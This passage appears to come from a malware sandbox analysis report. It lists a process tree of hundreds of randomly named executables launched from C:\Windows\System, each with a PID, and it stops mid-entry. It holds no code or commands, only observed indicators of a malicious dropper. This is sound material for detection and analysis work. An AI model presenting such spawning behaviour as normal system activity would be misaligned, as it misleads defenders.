- C:\Windows\System\mPTYJwa.exe
  C:\Windows\System\mPTYJwa.exe
  2⤵
  PID:12492
- C:\Windows\System\ZDSmvxL.exe
  C:\Windows\System\ZDSmvxL.exe
  2⤵
  PID:12552
- C:\Windows\System\HoCFJfV.exe
  C:\Windows\System\HoCFJfV.exe
  2⤵
  PID:12644
- C:\Windows\System\uZpIqqR.exe
  C:\Windows\System\uZpIqqR.exe
  2⤵
  PID:12680
- C:\Windows\System\zPFduMa.exe
  C:\Windows\System\zPFduMa.exe
  2⤵
  PID:12936
- C:\Windows\System\JrQetfb.exe
  C:\Windows\System\JrQetfb.exe
  2⤵
  PID:12876
- C:\Windows\System\DGNLXdv.exe
  C:\Windows\System\DGNLXdv.exe
  2⤵
  PID:12852
- C:\Windows\System\zKiGVIJ.exe
  C:\Windows\System\zKiGVIJ.exe
  2⤵
  PID:12800
- C:\Windows\System\lIukhpu.exe
  C:\Windows\System\lIukhpu.exe
  2⤵
  PID:12764
- C:\Windows\System\MpPobCm.exe
  C:\Windows\System\MpPobCm.exe
  2⤵
  PID:13032
- C:\Windows\System\pxvPSBm.exe
  C:\Windows\System\pxvPSBm.exe
  2⤵
  PID:3708
- C:\Windows\System\WgGFxZj.exe
  C:\Windows\System\WgGFxZj.exe
  2⤵
  PID:12352
- C:\Windows\System\BRDrmfY.exe
  C:\Windows\System\BRDrmfY.exe
  2⤵
  PID:12452
- C:\Windows\System\RvMtVUe.exe
  C:\Windows\System\RvMtVUe.exe
  2⤵
  PID:1648
- C:\Windows\System\kKhXDUR.exe
  C:\Windows\System\kKhXDUR.exe
  2⤵
  PID:532
- C:\Windows\System\rFGVwvR.exe
  C:\Windows\System\rFGVwvR.exe
  2⤵
  PID:220
- C:\Windows\System\KDLovRJ.exe
  C:\Windows\System\KDLovRJ.exe
  2⤵
  PID:12620
- C:\Windows\System\lrcQnxM.exe
  C:\Windows\System\lrcQnxM.exe
  2⤵
  PID:3644
- C:\Windows\System\EvqqZgT.exe
  C:\Windows\System\EvqqZgT.exe
  2⤵
  PID:4076
- C:\Windows\System\kWCTEYW.exe
  C:\Windows\System\kWCTEYW.exe
  2⤵
  PID:4116
- C:\Windows\System\NXuNPPe.exe
  C:\Windows\System\NXuNPPe.exe
  2⤵
  PID:13276
- C:\Windows\System\NqpWKyX.exe
  C:\Windows\System\NqpWKyX.exe
  2⤵
  PID:13280
- C:\Windows\System\QxpVAWj.exe
  C:\Windows\System\QxpVAWj.exe
  2⤵
  PID:4872
- C:\Windows\System\kLTKtgK.exe
  C:\Windows\System\kLTKtgK.exe
  2⤵
  PID:3052
- C:\Windows\System\dOWhoOP.exe
  C:\Windows\System\dOWhoOP.exe
  2⤵
  PID:4420
- C:\Windows\System\gSrKLQC.exe
  C:\Windows\System\gSrKLQC.exe
  2⤵
  PID:3884
- C:\Windows\System\NpPczoI.exe
  C:\Windows\System\NpPczoI.exe
  2⤵
  PID:972
- C:\Windows\System\EvhhiVa.exe
  C:\Windows\System\EvhhiVa.exe
  2⤵
  PID:12540
- C:\Windows\System\LRoetVO.exe
  C:\Windows\System\LRoetVO.exe
  2⤵
  PID:4032
- C:\Windows\System\PjEpbMY.exe
  C:\Windows\System\PjEpbMY.exe
  2⤵
  PID:368
- C:\Windows\System\WWqRttP.exe
  C:\Windows\System\WWqRttP.exe
  2⤵
  PID:752
- C:\Windows\System\bVjmmzq.exe
  C:\Windows\System\bVjmmzq.exe
  2⤵
  PID:13152
- C:\Windows\System\ZvgFuBF.exe
  C:\Windows\System\ZvgFuBF.exe
  2⤵
  PID:1188
- C:\Windows\System\WGuDaKs.exe
  C:\Windows\System\WGuDaKs.exe
  2⤵
  PID:12700
- C:\Windows\System\yzWsHDY.exe
  C:\Windows\System\yzWsHDY.exe
  2⤵
  PID:4548
- C:\Windows\System\XLIAAWa.exe
  C:\Windows\System\XLIAAWa.exe
  2⤵
  PID:3048
- C:\Windows\System\rOmOcDh.exe
  C:\Windows\System\rOmOcDh.exe
  2⤵
  PID:2936
- C:\Windows\System\bvJnDcm.exe
  C:\Windows\System\bvJnDcm.exe
  2⤵
  PID:2108
- C:\Windows\System\ZwDdqMM.exe
  C:\Windows\System\ZwDdqMM.exe
  2⤵
  PID:2892
- C:\Windows\System\WSDkRUC.exe
  C:\Windows\System\WSDkRUC.exe
  2⤵
  PID:12696
- C:\Windows\System\mqoZKBv.exe
  C:\Windows\System\mqoZKBv.exe
  2⤵
  PID:13376
- C:\Windows\System\igHQcxR.exe
  C:\Windows\System\igHQcxR.exe
  2⤵
  PID:13496
- C:\Windows\System\sUnztXZ.exe
  C:\Windows\System\sUnztXZ.exe
  2⤵
  PID:13608
- C:\Windows\System\crFmgHJ.exe
  C:\Windows\System\crFmgHJ.exe
  2⤵
  PID:13632
- C:\Windows\System\SIqdyJv.exe
  C:\Windows\System\SIqdyJv.exe
  2⤵
  PID:13648
- C:\Windows\System\jXJiNte.exe
  C:\Windows\System\jXJiNte.exe
  2⤵
  PID:13664
- C:\Windows\System\EzDjPoO.exe
  C:\Windows\System\EzDjPoO.exe
  2⤵
  PID:13680
- C:\Windows\System\AymrqDC.exe
  C:\Windows\System\AymrqDC.exe
  2⤵
  PID:13700
- C:\Windows\System\WqFEHqE.exe
  C:\Windows\System\WqFEHqE.exe
  2⤵
  PID:13724
- C:\Windows\System\eBZziSq.exe
  C:\Windows\System\eBZziSq.exe
  2⤵
  PID:13740
- C:\Windows\System\wvlDBye.exe
  C:\Windows\System\wvlDBye.exe
  2⤵
  PID:13756
- C:\Windows\System\VQyBugm.exe
  C:\Windows\System\VQyBugm.exe
  2⤵
  PID:13892
- C:\Windows\System\NVuaIdh.exe
  C:\Windows\System\NVuaIdh.exe
  2⤵
  PID:13928
- C:\Windows\System\XjWrFeD.exe
  C:\Windows\System\XjWrFeD.exe
  2⤵
  PID:13948
- C:\Windows\System\GufBvHb.exe
  C:\Windows\System\GufBvHb.exe
  2⤵
  PID:13972
- C:\Windows\System\JUSDZmM.exe
  C:\Windows\System\JUSDZmM.exe
  2⤵
  PID:13988
- C:\Windows\System\fvKcIDB.exe
  C:\Windows\System\fvKcIDB.exe
  2⤵
  PID:14008
- C:\Windows\System\rJghhUk.exe
  C:\Windows\System\rJghhUk.exe
  2⤵
  PID:14024
- C:\Windows\System\IOFOECN.exe
  C:\Windows\System\IOFOECN.exe
  2⤵
  PID:14044
- C:\Windows\System\zaLEdZE.exe
  C:\Windows\System\zaLEdZE.exe
  2⤵
  PID:14060
- C:\Windows\System\IShoVPN.exe
  C:\Windows\System\IShoVPN.exe
  2⤵
  PID:14080
- C:\Windows\System\xOgJaxO.exe
  C:\Windows\System\xOgJaxO.exe
  2⤵
  PID:14096
- C:\Windows\System\EUnvOWE.exe
  C:\Windows\System\EUnvOWE.exe
  2⤵
  PID:14116
- C:\Windows\System\meWTqOS.exe
  C:\Windows\System\meWTqOS.exe
  2⤵
  PID:14132
- C:\Windows\System\mdYEUTP.exe
  C:\Windows\System\mdYEUTP.exe
  2⤵
  PID:14148
- C:\Windows\System\KtRhlaK.exe
  C:\Windows\System\KtRhlaK.exe
  2⤵
  PID:14164
- C:\Windows\System\lweSsTg.exe
  C:\Windows\System\lweSsTg.exe
  2⤵
  PID:14200
- C:\Windows\System\IZqHkUB.exe
  C:\Windows\System\IZqHkUB.exe
  2⤵
  PID:14220
- C:\Windows\System\GyaObcB.exe
  C:\Windows\System\GyaObcB.exe
  2⤵
  PID:14240
- C:\Windows\System\pKeCxkx.exe
  C:\Windows\System\pKeCxkx.exe
  2⤵
  PID:14264
- C:\Windows\System\qIcVTcL.exe
  C:\Windows\System\qIcVTcL.exe
  2⤵
  PID:4272
- C:\Windows\System\ltRxZxG.exe
  C:\Windows\System\ltRxZxG.exe
  2⤵
  PID:13004
- C:\Windows\System\MvjZEUD.exe
  C:\Windows\System\MvjZEUD.exe
  2⤵
  PID:4332
- C:\Windows\System\GCCDpIo.exe
  C:\Windows\System\GCCDpIo.exe
  2⤵
  PID:13488
- C:\Windows\System\tVIFhEg.exe
  C:\Windows\System\tVIFhEg.exe
  2⤵
  PID:13416
- C:\Windows\System\bSzBjbw.exe
  C:\Windows\System\bSzBjbw.exe
  2⤵
  PID:13092
- C:\Windows\System\upTbYlc.exe
  C:\Windows\System\upTbYlc.exe
  2⤵
  PID:13436
- C:\Windows\System\dJiMnOS.exe
  C:\Windows\System\dJiMnOS.exe
  2⤵
  PID:2440
- C:\Windows\System\DlBxMMo.exe
  C:\Windows\System\DlBxMMo.exe
  2⤵
  PID:13748
- C:\Windows\System\TYLRDJn.exe
  C:\Windows\System\TYLRDJn.exe
  2⤵
  PID:13768
- C:\Windows\System\IuhrXML.exe
  C:\Windows\System\IuhrXML.exe
  2⤵
  PID:12332
- C:\Windows\System\NIaycQf.exe
  C:\Windows\System\NIaycQf.exe
  2⤵
  PID:5160
- C:\Windows\System\bwvHcDL.exe
  C:\Windows\System\bwvHcDL.exe
  2⤵
  PID:3420
- C:\Windows\System\tjdlugK.exe
  C:\Windows\System\tjdlugK.exe
  2⤵
  PID:2548
- C:\Windows\System\oXeoxMj.exe
  C:\Windows\System\oXeoxMj.exe
  2⤵
  PID:13764
- C:\Windows\System\ogojOHS.exe
  C:\Windows\System\ogojOHS.exe
  2⤵
  PID:13820
- C:\Windows\System\tJGVpOq.exe
  C:\Windows\System\tJGVpOq.exe
  2⤵
  PID:5268
- C:\Windows\System\SZXXTnX.exe
  C:\Windows\System\SZXXTnX.exe
  2⤵
  PID:5216
- C:\Windows\System\oPMrBAz.exe
  C:\Windows\System\oPMrBAz.exe
  2⤵
  PID:5328
- C:\Windows\System\NIFLeQB.exe
  C:\Windows\System\NIFLeQB.exe
  2⤵
  PID:14088
- C:\Windows\System\Rpemygy.exe
  C:\Windows\System\Rpemygy.exe
  2⤵
  PID:4412
- C:\Windows\System\uePTAkq.exe
  C:\Windows\System\uePTAkq.exe
  2⤵
  PID:14260
- C:\Windows\System\ibPKXBd.exe
  C:\Windows\System\ibPKXBd.exe
  2⤵
  PID:3868
- C:\Windows\System\vnzAUuN.exe
  C:\Windows\System\vnzAUuN.exe
  2⤵
  PID:13384
- C:\Windows\System\NiOeACL.exe
  C:\Windows\System\NiOeACL.exe
  2⤵
  PID:13660
- C:\Windows\System\LBjtcpB.exe
  C:\Windows\System\LBjtcpB.exe
  2⤵
  PID:2888
- C:\Windows\System\QMERduP.exe
  C:\Windows\System\QMERduP.exe
  2⤵
  PID:13364
- C:\Windows\System\CxiLrgQ.exe
  C:\Windows\System\CxiLrgQ.exe
  2⤵
  PID:13716
- C:\Windows\System\PqGvtDA.exe
  C:\Windows\System\PqGvtDA.exe
  2⤵
  PID:2228
- C:\Windows\System\TciwccB.exe
  C:\Windows\System\TciwccB.exe
  2⤵
  PID:3896
- C:\Windows\System\dlBGKhk.exe
  C:\Windows\System\dlBGKhk.exe
  2⤵
  PID:3932
- C:\Windows\System\bqzBYMg.exe
  C:\Windows\System\bqzBYMg.exe
  2⤵
  PID:12652
- C:\Windows\System\gYROGNF.exe
  C:\Windows\System\gYROGNF.exe
  2⤵
  PID:13736
- C:\Windows\System\UaCxaGK.exe
  C:\Windows\System\UaCxaGK.exe
  2⤵
  PID:4152
- C:\Windows\System\oaSMrvF.exe
  C:\Windows\System\oaSMrvF.exe
  2⤵
  PID:2140
- C:\Windows\System\HKvOSqd.exe
  C:\Windows\System\HKvOSqd.exe
  2⤵
  PID:13640
- C:\Windows\System\lTmKnMD.exe
  C:\Windows\System\lTmKnMD.exe
  2⤵
  PID:13644
- C:\Windows\System\FZoVWSX.exe
  C:\Windows\System\FZoVWSX.exe
  2⤵
  PID:5196
- C:\Windows\System\JCwrAUA.exe
  C:\Windows\System\JCwrAUA.exe
  2⤵
  PID:4280
- C:\Windows\System\SvnkApP.exe
  C:\Windows\System\SvnkApP.exe
  2⤵
  PID:3148
- C:\Windows\System\LRNAwKa.exe
  C:\Windows\System\LRNAwKa.exe
  2⤵
  PID:13852
- C:\Windows\System\fSwmfHQ.exe
  C:\Windows\System\fSwmfHQ.exe
  2⤵
  PID:13540
- C:\Windows\System\NnMLufZ.exe
  C:\Windows\System\NnMLufZ.exe
  2⤵
  PID:13880
- C:\Windows\System\REFHYPi.exe
  C:\Windows\System\REFHYPi.exe
  2⤵
  PID:13096
- C:\Windows\System\ReDMlih.exe
  C:\Windows\System\ReDMlih.exe
  2⤵
  PID:1444
- C:\Windows\System\SCTHbTF.exe
  C:\Windows\System\SCTHbTF.exe
  2⤵
  PID:5848
- C:\Windows\System\kXyqaii.exe
  C:\Windows\System\kXyqaii.exe
  2⤵
  PID:2284
- C:\Windows\System\opHaibb.exe
  C:\Windows\System\opHaibb.exe
  2⤵
  PID:14292
- C:\Windows\System\MbIYSOT.exe
  C:\Windows\System\MbIYSOT.exe
  2⤵
  PID:13732
- C:\Windows\System\iLOYkcJ.exe
  C:\Windows\System\iLOYkcJ.exe
  2⤵
  PID:13184
- C:\Windows\System\FCUzFqG.exe
  C:\Windows\System\FCUzFqG.exe
  2⤵
  PID:6004
- C:\Windows\System\HwSMxaB.exe
  C:\Windows\System\HwSMxaB.exe
  2⤵
  PID:5492
- C:\Windows\System\ATUoAbL.exe
  C:\Windows\System\ATUoAbL.exe
  2⤵
  PID:5312
- C:\Windows\System\wrPILfG.exe
  C:\Windows\System\wrPILfG.exe
  2⤵
  PID:5004
- C:\Windows\System\GHYChQk.exe
  C:\Windows\System\GHYChQk.exe
  2⤵
  PID:13572
- C:\Windows\System\rFLaMca.exe
  C:\Windows\System\rFLaMca.exe
  2⤵
  PID:4840
- C:\Windows\System\SKNUrsb.exe
  C:\Windows\System\SKNUrsb.exe
  2⤵
  PID:1296
- C:\Windows\System\QFIrTRH.exe
  C:\Windows\System\QFIrTRH.exe
  2⤵
  PID:5232
- C:\Windows\System\ncbeUMS.exe
  C:\Windows\System\ncbeUMS.exe
  2⤵
  PID:13544
- C:\Windows\System\XWoQbUA.exe
  C:\Windows\System\XWoQbUA.exe
  2⤵
  PID:1492
- C:\Windows\System\JKMaXHD.exe
  C:\Windows\System\JKMaXHD.exe
  2⤵
  PID:5744
- C:\Windows\System\IXnMogc.exe
  C:\Windows\System\IXnMogc.exe
  2⤵
  PID:5324
- C:\Windows\System\afFQxel.exe
  C:\Windows\System\afFQxel.exe
  2⤵
  PID:13196
- C:\Windows\System\jONRlOn.exe
  C:\Windows\System\jONRlOn.exe
  2⤵
  PID:6428
- C:\Windows\System\BAmgIrl.exe
  C:\Windows\System\BAmgIrl.exe
  2⤵
  PID:6792
- C:\Windows\System\UkLgTND.exe
  C:\Windows\System\UkLgTND.exe
  2⤵
  PID:6952
- C:\Windows\System\EEtvmQy.exe
  C:\Windows\System\EEtvmQy.exe
  2⤵
  PID:6988
- C:\Windows\System\Zdwhppk.exe
  C:\Windows\System\Zdwhppk.exe
  2⤵
  PID:392
- C:\Windows\System\rOcSpja.exe
  C:\Windows\System\rOcSpja.exe
  2⤵
  PID:5868
- C:\Windows\System\HaIjnlm.exe
  C:\Windows\System\HaIjnlm.exe
  2⤵
  PID:4416
- C:\Windows\System\uDQoKta.exe
  C:\Windows\System\uDQoKta.exe
  2⤵
  PID:6772
- C:\Windows\System\eMmkfQZ.exe
  C:\Windows\System\eMmkfQZ.exe
  2⤵
  PID:7440
- C:\Windows\System\CewYLOh.exe
  C:\Windows\System\CewYLOh.exe
  2⤵
  PID:5076
- C:\Windows\System\mFGVKAj.exe
  C:\Windows\System\mFGVKAj.exe
  2⤵
  PID:6300
- C:\Windows\System\QhLfhKk.exe
  C:\Windows\System\QhLfhKk.exe
  2⤵
  PID:7056
- C:\Windows\System\yulJLpI.exe
  C:\Windows\System\yulJLpI.exe
  2⤵
  PID:5528
- C:\Windows\System\ieekZeG.exe
  C:\Windows\System\ieekZeG.exe
  2⤵
  PID:1072
- C:\Windows\System\hRlPftk.exe
  C:\Windows\System\hRlPftk.exe
  2⤵
  PID:408
- C:\Windows\System\xomNdbT.exe
  C:\Windows\System\xomNdbT.exe
  2⤵
  PID:6348
- C:\Windows\System\jfsKwhy.exe
  C:\Windows\System\jfsKwhy.exe
  2⤵
  PID:12384
- C:\Windows\System\wJejjCm.exe
  C:\Windows\System\wJejjCm.exe
  2⤵
  PID:7696
- C:\Windows\System\cwTcUno.exe
  C:\Windows\System\cwTcUno.exe
  2⤵
  PID:7312
- C:\Windows\System\TULuIqe.exe
  C:\Windows\System\TULuIqe.exe
  2⤵
  PID:6412
- C:\Windows\System\aYxCQmD.exe
  C:\Windows\System\aYxCQmD.exe
  2⤵
  PID:6536
- C:\Windows\System\lxYPhPU.exe
  C:\Windows\System\lxYPhPU.exe
  2⤵
  PID:6648
- C:\Windows\System\UkGSHBy.exe
  C:\Windows\System\UkGSHBy.exe
  2⤵
  PID:7232
- C:\Windows\System\UuasBdS.exe
  C:\Windows\System\UuasBdS.exe
  2⤵
  PID:7576
- C:\Windows\System\xgIBBBi.exe
  C:\Windows\System\xgIBBBi.exe
  2⤵
  PID:3648
- C:\Windows\System\dDhzVsZ.exe
  C:\Windows\System\dDhzVsZ.exe
  2⤵
  PID:3116
- C:\Windows\System\FjPtbHJ.exe
  C:\Windows\System\FjPtbHJ.exe
  2⤵
  PID:5720
- C:\Windows\System\tlILfXM.exe
  C:\Windows\System\tlILfXM.exe
  2⤵
  PID:6784
- C:\Windows\System\zjMkqwZ.exe
  C:\Windows\System\zjMkqwZ.exe
  2⤵
  PID:7512
- C:\Windows\System\srmSdST.exe
  C:\Windows\System\srmSdST.exe
  2⤵
  PID:8768
- C:\Windows\System\QDpURMo.exe
  C:\Windows\System\QDpURMo.exe
  2⤵
  PID:7556
- C:\Windows\System\OlLyOQC.exe
  C:\Windows\System\OlLyOQC.exe
  2⤵
  PID:13980
- C:\Windows\System\ACLoqGp.exe
  C:\Windows\System\ACLoqGp.exe
  2⤵
  PID:13912
- C:\Windows\System\sNkMTLn.exe
  C:\Windows\System\sNkMTLn.exe
  2⤵
  PID:8268
- C:\Windows\System\oUsZIEq.exe
  C:\Windows\System\oUsZIEq.exe
  2⤵
  PID:6580
- C:\Windows\System\tlGnumh.exe
  C:\Windows\System\tlGnumh.exe
  2⤵
  PID:5220
- C:\Windows\System\YaifnSk.exe
  C:\Windows\System\YaifnSk.exe
  2⤵
  PID:14144
- C:\Windows\System\EOclIqd.exe
  C:\Windows\System\EOclIqd.exe
  2⤵
  PID:8344
- C:\Windows\System\twcneey.exe
  C:\Windows\System\twcneey.exe
  2⤵
  PID:7212
- C:\Windows\System\bNEfyNr.exe
  C:\Windows\System\bNEfyNr.exe
  2⤵
  PID:8372
- C:\Windows\System\AaGDxcU.exe
  C:\Windows\System\AaGDxcU.exe
  2⤵
  PID:14340
- C:\Windows\System\bQNWToi.exe
  C:\Windows\System\bQNWToi.exe
  2⤵
  PID:14360
- C:\Windows\System\oMXXiZF.exe
  C:\Windows\System\oMXXiZF.exe
  2⤵
  PID:14384
- C:\Windows\System\fEhfJeB.exe
  C:\Windows\System\fEhfJeB.exe
  2⤵
  PID:14400
- C:\Windows\System\rtRzmaZ.exe
  C:\Windows\System\rtRzmaZ.exe
  2⤵
  PID:14416
- C:\Windows\System\CKCtLrQ.exe
  C:\Windows\System\CKCtLrQ.exe
  2⤵
  PID:14440
- C:\Windows\System\IcAdXUP.exe
  C:\Windows\System\IcAdXUP.exe
  2⤵
  PID:14544
- C:\Windows\System\jEFHmrN.exe
  C:\Windows\System\jEFHmrN.exe
  2⤵
  PID:14584
- C:\Windows\System\OvVkHBX.exe
  C:\Windows\System\OvVkHBX.exe
  2⤵
  PID:14640
- C:\Windows\System\UCQewDv.exe
  C:\Windows\System\UCQewDv.exe
  2⤵
  PID:14660
- C:\Windows\System\aIReNeD.exe
  C:\Windows\System\aIReNeD.exe
  2⤵
  PID:14680
- C:\Windows\System\yYiUTqj.exe
  C:\Windows\System\yYiUTqj.exe
  2⤵
  PID:14700
- C:\Windows\System\zoFLRjE.exe
  C:\Windows\System\zoFLRjE.exe
  2⤵
  PID:14716
- C:\Windows\System\cisNDfi.exe
  C:\Windows\System\cisNDfi.exe
  2⤵
  PID:14736
- C:\Windows\System\IJNOxfg.exe
  C:\Windows\System\IJNOxfg.exe
  2⤵
  PID:14756
- C:\Windows\System\NYkdGul.exe
  C:\Windows\System\NYkdGul.exe
  2⤵
  PID:14776
- C:\Windows\System\mSlxvpx.exe
  C:\Windows\System\mSlxvpx.exe
  2⤵
  PID:14812
- C:\Windows\System\sdskgqO.exe
  C:\Windows\System\sdskgqO.exe
  2⤵
  PID:14836
- C:\Windows\System\mtCLruP.exe
  C:\Windows\System\mtCLruP.exe
  2⤵
  PID:14860
- C:\Windows\System\DMtvzXy.exe
  C:\Windows\System\DMtvzXy.exe
  2⤵
  PID:14880
- C:\Windows\System\hqZnEfP.exe
  C:\Windows\System\hqZnEfP.exe
  2⤵
  PID:14896
- C:\Windows\System\VhBwmWf.exe
  C:\Windows\System\VhBwmWf.exe
  2⤵
  PID:14912
- C:\Windows\System\NrxKaYT.exe
  C:\Windows\System\NrxKaYT.exe
  2⤵
  PID:14928
- C:\Windows\System\eGqXfxw.exe
  C:\Windows\System\eGqXfxw.exe
  2⤵
  PID:14952
- C:\Windows\System\bhmXbFc.exe
  C:\Windows\System\bhmXbFc.exe
  2⤵
  PID:14980
- C:\Windows\System\LVhlQYq.exe
  C:\Windows\System\LVhlQYq.exe
  2⤵
  PID:15000
- C:\Windows\System\ZwoZWAG.exe
  C:\Windows\System\ZwoZWAG.exe
  2⤵
  PID:15028
- C:\Windows\System\AogsJSV.exe
  C:\Windows\System\AogsJSV.exe
  2⤵
  PID:15056
- C:\Windows\System\hJfyqVx.exe
  C:\Windows\System\hJfyqVx.exe
  2⤵
  PID:15264
- C:\Windows\System\QUueUDC.exe
  C:\Windows\System\QUueUDC.exe
  2⤵
  PID:15280
- C:\Windows\System\UrWYlKT.exe
  C:\Windows\System\UrWYlKT.exe
  2⤵
  PID:15300
- C:\Windows\System\UCVntcR.exe
  C:\Windows\System\UCVntcR.exe
  2⤵
  PID:15316
- C:\Windows\System\COYMLDu.exe
  C:\Windows\System\COYMLDu.exe
  2⤵
  PID:15332
- C:\Windows\System\LEUxvJb.exe
  C:\Windows\System\LEUxvJb.exe
  2⤵
  PID:5012
- C:\Windows\System\SBNCkMx.exe
  C:\Windows\System\SBNCkMx.exe
  2⤵
  PID:14432
- C:\Windows\System\kYaIXXi.exe
  C:\Windows\System\kYaIXXi.exe
  2⤵
  PID:8836
- C:\Windows\System\KEeAhZK.exe
  C:\Windows\System\KEeAhZK.exe
  2⤵
  PID:8216
- C:\Windows\System\wrdueAj.exe
  C:\Windows\System\wrdueAj.exe
  2⤵
  PID:14996
- C:\Windows\System\jCaioKc.exe
  C:\Windows\System\jCaioKc.exe
  2⤵
  PID:8584
- C:\Windows\System\iTJUAfQ.exe
  C:\Windows\System\iTJUAfQ.exe
  2⤵
  PID:8772
- C:\Windows\System\XJaKZML.exe
  C:\Windows\System\XJaKZML.exe
  2⤵
  PID:4496
- C:\Windows\System\kTTuYyH.exe
  C:\Windows\System\kTTuYyH.exe
  2⤵
  PID:14692
- C:\Windows\System\IWjWpsq.exe
  C:\Windows\System\IWjWpsq.exe
  2⤵
  PID:6996
- C:\Windows\System\QGsHDKh.exe
  C:\Windows\System\QGsHDKh.exe
  2⤵
  PID:8520
- C:\Windows\System\UxFfokQ.exe
  C:\Windows\System\UxFfokQ.exe
  2⤵
  PID:8752
- C:\Windows\System\RXteRQN.exe
  C:\Windows\System\RXteRQN.exe
  2⤵
  PID:8848
- C:\Windows\System\ADzBSVl.exe
  C:\Windows\System\ADzBSVl.exe
  2⤵
  PID:14888
- C:\Windows\System\oXlaAfG.exe
  C:\Windows\System\oXlaAfG.exe
  2⤵
  PID:8856
- C:\Windows\System\xICavyK.exe
  C:\Windows\System\xICavyK.exe
  2⤵
  PID:15048
- C:\Windows\System\vDfgVlu.exe
  C:\Windows\System\vDfgVlu.exe
  2⤵
  PID:8740
- C:\Windows\System\FargMOG.exe
  C:\Windows\System\FargMOG.exe
  2⤵
  PID:6416
- C:\Windows\System\FSSeuLz.exe
  C:\Windows\System\FSSeuLz.exe
  2⤵
  PID:14636
- C:\Windows\System\bMlDjVS.exe
  C:\Windows\System\bMlDjVS.exe
  2⤵
  PID:15172
- C:\Windows\System\faijSVT.exe
  C:\Windows\System\faijSVT.exe
  2⤵
  PID:14808
- C:\Windows\System\SErpTij.exe
  C:\Windows\System\SErpTij.exe
  2⤵
  PID:14856
- C:\Windows\System\pMhdmBV.exe
  C:\Windows\System\pMhdmBV.exe
  2⤵
  PID:14940
- C:\Windows\System\DQkIktf.exe
  C:\Windows\System\DQkIktf.exe
  2⤵
  PID:8828
- C:\Windows\System\wPhZqLz.exe
  C:\Windows\System\wPhZqLz.exe
  2⤵
  PID:15128
- C:\Windows\System\xRuxdVA.exe
  C:\Windows\System\xRuxdVA.exe
  2⤵
  PID:15216
- C:\Windows\System\DvwYAPg.exe
  C:\Windows\System\DvwYAPg.exe
  2⤵
  PID:9000
- C:\Windows\System\ljeuVKn.exe
  C:\Windows\System\ljeuVKn.exe
  2⤵
  PID:8920
- C:\Windows\System\grxLztx.exe
  C:\Windows\System\grxLztx.exe
  2⤵
  PID:7800
- C:\Windows\System\NMSeFod.exe
  C:\Windows\System\NMSeFod.exe
  2⤵
  PID:6896
- C:\Windows\System\GwzRjKd.exe
  C:\Windows\System\GwzRjKd.exe
  2⤵
  PID:6388
- C:\Windows\System\xdaDvQf.exe
  C:\Windows\System\xdaDvQf.exe
  2⤵
  PID:5856
- C:\Windows\System\pGexVAE.exe
  C:\Windows\System\pGexVAE.exe
  2⤵
  PID:14356
- C:\Windows\System\jIGBtos.exe
  C:\Windows\System\jIGBtos.exe
  2⤵
  PID:8160
- C:\Windows\System\waJucTg.exe
  C:\Windows\System\waJucTg.exe
  2⤵
  PID:8428
- C:\Windows\System\icsijOL.exe
  C:\Windows\System\icsijOL.exe
  2⤵
  PID:8108
- C:\Windows\System\kEySTzr.exe
  C:\Windows\System\kEySTzr.exe
  2⤵
  PID:8816
- C:\Windows\System\kjQgqsL.exe
  C:\Windows\System\kjQgqsL.exe
  2⤵
  PID:8744
- C:\Windows\System\bBwzqiH.exe
  C:\Windows\System\bBwzqiH.exe
  2⤵
  PID:9020
- C:\Windows\System\FETNQAs.exe
  C:\Windows\System\FETNQAs.exe
  2⤵
  PID:6912
- C:\Windows\System\CqrVnxM.exe
  C:\Windows\System\CqrVnxM.exe
  2⤵
  PID:8440
- C:\Windows\System\DybvMMc.exe
  C:\Windows\System\DybvMMc.exe
  2⤵
  PID:14424
- C:\Windows\System\RwyNBRO.exe
  C:\Windows\System\RwyNBRO.exe
  2⤵
  PID:14620
- C:\Windows\System\NainyNn.exe
  C:\Windows\System\NainyNn.exe
  2⤵
  PID:14396
- C:\Windows\System\TPwGfgk.exe
  C:\Windows\System\TPwGfgk.exe
  2⤵
  PID:7408
- C:\Windows\System\ktOnWcR.exe
  C:\Windows\System\ktOnWcR.exe
  2⤵
  PID:5600
- C:\Windows\System\yjYePyn.exe
  C:\Windows\System\yjYePyn.exe
  2⤵
  PID:8940
- C:\Windows\System\LWlmMLT.exe
  C:\Windows\System\LWlmMLT.exe
  2⤵
  PID:15040
- C:\Windows\System\OEOYBAZ.exe
  C:\Windows\System\OEOYBAZ.exe
  2⤵
  PID:8876
- C:\Windows\System\dvpHtxh.exe
  C:\Windows\System\dvpHtxh.exe
  2⤵
  PID:9336
- C:\Windows\System\jFwAvUD.exe
  C:\Windows\System\jFwAvUD.exe
  2⤵
  PID:9388
- C:\Windows\System\MFBaLPo.exe
  C:\Windows\System\MFBaLPo.exe
  2⤵
  PID:8692
- C:\Windows\System\BefQNmi.exe
  C:\Windows\System\BefQNmi.exe
  2⤵
  PID:9736
- C:\Windows\System\tiRtAFe.exe
  C:\Windows\System\tiRtAFe.exe
  2⤵
  PID:14820
- C:\Windows\System\kEMPLeX.exe
  C:\Windows\System\kEMPLeX.exe
  2⤵
  PID:14976
- C:\Windows\System\xzDzthq.exe
  C:\Windows\System\xzDzthq.exe
  2⤵
  PID:9488
- C:\Windows\System\MsZvCeq.exe
  C:\Windows\System\MsZvCeq.exe
  2⤵
  PID:14920
- C:\Windows\System\MuTAROr.exe
  C:\Windows\System\MuTAROr.exe
  2⤵
  PID:9772
- C:\Windows\System\bgMESVW.exe
  C:\Windows\System\bgMESVW.exe
  2⤵
  PID:9508
- C:\Windows\System\SiLQZie.exe
  C:\Windows\System\SiLQZie.exe
  2⤵
  PID:9716
- C:\Windows\System\jbHwkGT.exe
  C:\Windows\System\jbHwkGT.exe
  2⤵
  PID:9840
- C:\Windows\System\xMxOhoM.exe
  C:\Windows\System\xMxOhoM.exe
  2⤵
  PID:15228
- C:\Windows\System\xxJkVvt.exe
  C:\Windows\System\xxJkVvt.exe
  2⤵
  PID:8944
- C:\Windows\System\JmdrzhE.exe
  C:\Windows\System\JmdrzhE.exe
  2⤵
  PID:7316
- C:\Windows\System\cWWGCCj.exe
  C:\Windows\System\cWWGCCj.exe
  2⤵
  PID:8572
- C:\Windows\System\DLvVHbo.exe
  C:\Windows\System\DLvVHbo.exe
  2⤵
  PID:5128
- C:\Windows\System\avitaNT.exe
  C:\Windows\System\avitaNT.exe
  2⤵
  PID:9936
- C:\Windows\System\PYkhBAI.exe
  C:\Windows\System\PYkhBAI.exe
  2⤵
  PID:9880
- C:\Windows\System\kNWXMyQ.exe
  C:\Windows\System\kNWXMyQ.exe
  2⤵
  PID:9944
- C:\Windows\System\UTodGNU.exe
  C:\Windows\System\UTodGNU.exe
  2⤵
  PID:9300
- C:\Windows\System\CnUFLue.exe
